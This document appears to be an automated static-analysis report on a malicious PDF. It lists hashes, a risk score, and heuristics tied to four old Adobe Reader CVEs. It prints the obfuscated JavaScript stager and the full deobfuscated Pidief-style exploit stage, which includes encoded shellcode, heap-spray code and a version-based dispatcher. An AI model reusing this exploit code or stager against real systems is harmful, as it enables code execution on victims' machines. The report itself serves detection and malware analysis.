Malicious PDF — malware analysis report

Static analysis result for SHA-256 b32da89fe99929af…

MALICIOUS

PDF

11.9 KB Created: 2010-07-25 10:32:51 First seen: 2013-06-22
MD5: 8a96d5aba6c414ac59621941e3803da9 SHA-1: 6b9c21e4def1b0d6795c0c13e6f62361dd986958 SHA-256: b32da89fe99929afb166fd2c6bb2d2c174a4585e9c248b633b0ab49f0ae7d54c
388 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • PDF /Producer character-range JavaScript stager high PDF_INFO_PRODUCER_CHAR_RANGE_JS_STAGER
    PDF metadata hides JavaScript in /Producer as character ranges plus a long numeric index table. The document JavaScript rebuilds an alphabet from those ranges, maps the indexes into characters, and evals the recovered exploit stage. The decoder is bounded and only fires when the recovered stage contains exploit-like Acrobat JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C21 458 bytes
SHA-256: c610388f99e9c1e5d71f564a8e26f7f455d662694954905843874251df4aa433
Preview script
First 1,000 lines of the extracted script
var zjy = this, yte=50;
var dbmz = new Date(), jvp='', zp='Char', bizl = ('e'+dbmz.getFullYear()+'l').replace('2010','va');
var eeyi='',bez=zjy[bizl], anih=[], cdo='pro'+eeyi+'duc'+eeyi+'er';
bez('var dqfb=String.from'+zp+'Code, io=' + zjy[cdo].substring(0,yte) + ',uhxn=' + zjy[cdo].substring(yte));
for(vrsy in io) for(var oi=io[vrsy][0];oi < io[vrsy][1];oi++) anih.push(dqfb(oi));
for (var oi = 0; oi < uhxn.length; oi++) jvp+=anih[uhxn[oi]];
bez(jvp);
javascript_obj0007_001.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C21 101 bytes
SHA-256: 06b28a531017a8de87c1a2b94a02c2224444879b7e815871b687bc26cff95a46
Preview script
First 1,000 lines of the extracted script
var zjy = this, yte=50;
var dbmz = new Date(), jvp='', zp='Char', bizl = ('e'+dbmz.getFullYear()+'l'
producer_char_range_stage_000.js deobfuscated-js PDF /Info Producer char-range indexed JavaScript at offset 0x17B 3615 bytes
SHA-256: 441770ac4321f75d6e2fdc82c8851b3b56e0f84777a95e8f7e6ebe9cda12a9bc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var fb='%u9090%u9090%u16eb%u39b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u7e34%ue2aa%uc3fa%ue5e8%uffff%u97ff%u7f72%u7e7e%uff20%u2292%u7e7f%uf77e%uf399%u6e31%u11f3%u4f2a%u29a5%u2d2f%u2d2d%u2d2d%u2d2d%u2d2b%u162d%u7f7a%u7e7e%u282b%u162d%u1011%u7e7e%u0b16%u120c%u2a13%uf016%u7030%u9692%u7e36%u7e7e%u962e%u7e02%u7e7e%uae81%ubafd%u1676%u9131%u7b31%u962e%u7e12%u7e7e%uae81%ubefb%u690b%u2a14%u8d27%u16d4%u800c%u68cd%u6396%u7e7e%u2e7e%u2f96%u7e7e%u817e%u2dae%u8014%uf716%u7f11%u96c3%u7e76%u7e7e%u962e%u7e42%u7e7e%uae81%u4f1e%u1abe%u2ef5%uf54e%u722c%u2cf5%uf56a%u560c%u66c7%u7e7e%u4f7e%u4f81%ud2be%u1f42%u7c02%u5e52%ub1bf%u7f73%u9cb9%uff8e%u2581%u34c2%uf514%u6e3c%u6cf5%ua70b%u3af7%u625a%ubd1f%uf51e%u5a12%uf55a%u423b%u2af5%u067b%u947f%u34f5%uf566%u5e24%u957f%u4a9d%uf537%uf54a%u907f%u814f%ube4f%ud282%ubefa%u790a%ub1bf%u7f73%u95b9%u458a%u5a02%u0b56%uf59f%u5a24%u957f%uf518%u3572%u24f5%u7f62%uf595%uf57a%u967f%u3af7%u625a%ubc1f%u7e76%u9196%u8180%u1681%u0a0a%u440e%u5151%u1f10%u1b08%u100c%u1417%u0b50%u510d%u1f12%u0e50%u0e16%u1841%u4f43%u5847%u431b%u7e4f';function rol(yw,wadb){while(yw.length*2<wadb){yw+=yw;}
yw=yw.substring(0,wadb/2);return yw;}
function zrnc(){var yi=new Array();var kyn=0x0c0c0c0c;var addr=0x400000;var payload=unescape(fb);var sc_len=payload.length*2;var wadb=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=rol(yarsp,wadb);var count2=(kyn-0x400000)/addr;for(var count=0;count<count2;count++){yi[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(fb);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(fb);var hWq500CN=payload.length*2;var wadb=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=rol(yarsp,wadb);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){zrnc();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(fb);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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